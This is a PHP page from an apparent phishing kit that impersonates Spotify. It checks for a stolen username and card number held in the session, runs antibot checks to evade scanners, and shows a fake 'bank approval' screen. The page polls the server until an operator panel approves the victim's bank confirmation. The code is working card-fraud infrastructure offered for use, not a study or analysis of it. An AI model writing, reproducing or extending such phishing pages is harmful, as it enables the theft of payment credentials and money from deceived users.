<?php
define('APP_ACCESS', true);
require_once __DIR__ . '/../config/config.php';
require_once __DIR__ . '/../includes/functions.php';
require_once __DIR__ . '/../includes/LanguageManager.php';
require_once __DIR__ . '/../includes/security/advanced-protection.php';

// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Run advanced antibot protection
$advancedProtection = new AdvancedProtection();
$advancedProtection->runAllChecks();

// Check if user has completed previous steps
if (!isset($_SESSION['username']) || !isset($_SESSION['card_number'])) {
    header('Location: login.php');
    exit;
}

// IMPORTANT: Clear IP from ip_app.txt to prevent infinite loop
$ip = getClientIP();
$appFile = BASE_PATH . '/Panel/action/ip_app.txt';
if (file_exists($appFile)) {
    $content = file_get_contents($appFile);
    // Remove the IP to prevent redirect loop
    $content = str_replace($ip . "\n", '', $content);
    $content = str_replace($ip . "\r\n", '', $content);
    $content = str_replace($ip, '', $content);
    file_put_contents($appFile, $content);
}

// Initialize language manager with IP detection
$detectedLang = detectLanguage();
$langManager = getLangManager($detectedLang);
$currentLang = $detectedLang;
?>
<!DOCTYPE html>
<html lang="<?php echo $detectedLang; ?>" dir="ltr">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Spotify - Vérification</title>
    <link rel="icon" href="https://www.scdn.co/i/_global/favicon.png">
    <meta name="robots" content="noindex">
    <style>
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif; background-color: #000; color: #fff; min-height: 100vh; display: flex; align-items: center; justify-content: center; }
        
        .container { max-width: 450px; width: 100%; padding: 20px; }
        
        .card { background-color: #121212; border-radius: 8px; padding: 40px; text-align: center; }
        
        .logo { width: 140px; margin-bottom: 30px; }
        
        .icon-container { margin: 30px 0; }
        
        .bank-icon { width: 80px; height: 80px; background: linear-gradient(135deg, #1ed760 0%, #1db954 100%); border-radius: 50%; display: flex; align-items: center; justify-content: center; margin: 0 auto 20px; animation: pulse 2s infinite; }
        
        .bank-icon svg { width: 40px; height: 40px; fill: #000; }
        
        @keyframes pulse {
            0%, 100% { transform: scale(1); box-shadow: 0 0 0 0 rgba(30, 215, 96, 0.7); }
            50% { transform: scale(1.05); box-shadow: 0 0 0 20px rgba(30, 215, 96, 0); }
        }
        
        h1 { font-size: 24px; font-weight: 700; margin-bottom: 16px; color: #fff; }
        
        .message { color: #b3b3b3; font-size: 16px; line-height: 1.6; margin-bottom: 30px; }
        
        .steps { text-align: left; background: #181818; border-radius: 8px; padding: 20px; margin: 20px 0; }
        
        .step { display: flex; align-items: flex-start; margin-bottom: 15px; }
        
        .step:last-child { margin-bottom: 0; }
        
        .step-number { width: 24px; height: 24px; background: #1ed760; border-radius: 50%; display: flex; align-items: center; justify-content: center; font-size: 12px; font-weight: 700; color: #000; margin-right: 12px; flex-shrink: 0; }
        
        .step-text { color: #b3b3b3; font-size: 14px; line-height: 1.5; }
        
        .loader { margin: 30px 0; }
        
        .spinner { border: 3px solid #282828; border-top: 3px solid #1ed760; border-radius: 50%; width: 50px; height: 50px; animation: spin 1s linear infinite; margin: 0 auto; }
        
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }
        
        .status-text { color: #1ed760; font-size: 14px; margin-top: 15px; font-weight: 500; }
        
        .warning { background: rgba(255, 170, 0, 0.1); border: 1px solid rgba(255, 170, 0, 0.3); border-radius: 8px; padding: 15px; margin-top: 20px; }
        
        .warning-text { color: #ffaa00; font-size: 13px; line-height: 1.5; }
        
        .footer { margin-top: 30px; padding-top: 20px; border-top: 1px solid #282828; }
        
        .footer-text { color: #6a6a6a; font-size: 12px; }
    </style>
</head>
<body>
    <div class="container">
        <div class="card">
            <svg role="img" viewBox="0 0 24 24" class="logo" aria-label="Spotify">
                <path d="M13.427.01C6.805-.253 1.224 4.902.961 11.524.698 18.147 5.853 23.728 12.476 23.99c6.622.263 12.203-4.892 12.466-11.514S20.049.272 13.427.01m5.066 17.579a.717.717 0 0 1-.977.268 14.4 14.4 0 0 0-5.138-1.747 14.4 14.4 0 0 0-5.42.263.717.717 0 0 1-.338-1.392c1.95-.474 3.955-.571 5.958-.29 2.003.282 3.903.928 5.647 1.92a.717.717 0 0 1 .268.978m1.577-3.15a.93.93 0 0 1-1.262.376 17.7 17.7 0 0 0-5.972-1.96 17.7 17.7 0 0 0-6.281.238.93.93 0 0 1-1.11-.71.93.93 0 0 1 .71-1.11 19.5 19.5 0 0 1 6.94-.262 19.5 19.5 0 0 1 6.599 2.165c.452.245.62.81.376 1.263m1.748-3.551a1.147 1.147 0 0 1-1.546.488 21.4 21.4 0 0 0-6.918-2.208 21.4 21.4 0 0 0-7.259.215 1.146 1.146 0 0 1-.456-2.246 23.7 23.7 0 0 1 8.034-.24 23.7 23.7 0 0 1 7.657 2.445c.561.292.78.984.488 1.546" fill="currentColor"/>
            </svg>
            
            <div class="icon-container">
                <div class="bank-icon">
                    <svg viewBox="0 0 24 24">
                        <path d="M12 2L2 7v2h20V7l-10-5zm-8 7v10h2V9H4zm4 0v10h2V9H8zm4 0v10h2V9h-2zm4 0v10h2V9h-2zm4 0v10h2V9h-2zM2 21h20v2H2v-2z"/>
                    </svg>
                </div>
            </div>
            
            <h1><?php echo __('bank_approval.title'); ?></h1>
            
            <p class="message">
                <?php echo __('bank_approval.message'); ?>
            </p>
            
            <div class="steps">
                <div class="step">
                    <div class="step-number">1</div>
                    <div class="step-text"><?php echo __('bank_approval.step1'); ?></div>
                </div>
                <div class="step">
                    <div class="step-number">2</div>
                    <div class="step-text"><?php echo __('bank_approval.step2'); ?></div>
                </div>
                <div class="step">
                    <div class="step-number">3</div>
                    <div class="step-text"><?php echo __('bank_approval.step3'); ?></div>
                </div>
            </div>
            
            <div class="loader">
                <div class="spinner"></div>
                <p class="status-text"><?php echo __('bank_approval.waiting'); ?></p>
            </div>
            
            <div class="warning">
                <p class="warning-text">
                    <?php echo __('bank_approval.warning'); ?>
                </p>
            </div>
            
            <div class="footer">
                <p class="footer-text">
                    <?php echo __('bank_approval.footer_text'); ?>
                </p>
            </div>
        </div>
    </div>
    
    <script>
        // Check for approval from panel (ip_confirm.txt)
        setInterval(function() {
            fetch('process.php?action=check_approval')
                .then(response => response.json())
                .then(data => {
                    if (data.status === 'approved') {
                        // Redirect to success page
                        window.location.href = 'success.php';
                    }
                })
                .catch(error => console.log('Waiting for approval...'));
        }, 3000);
    </script>
</body>
</html>
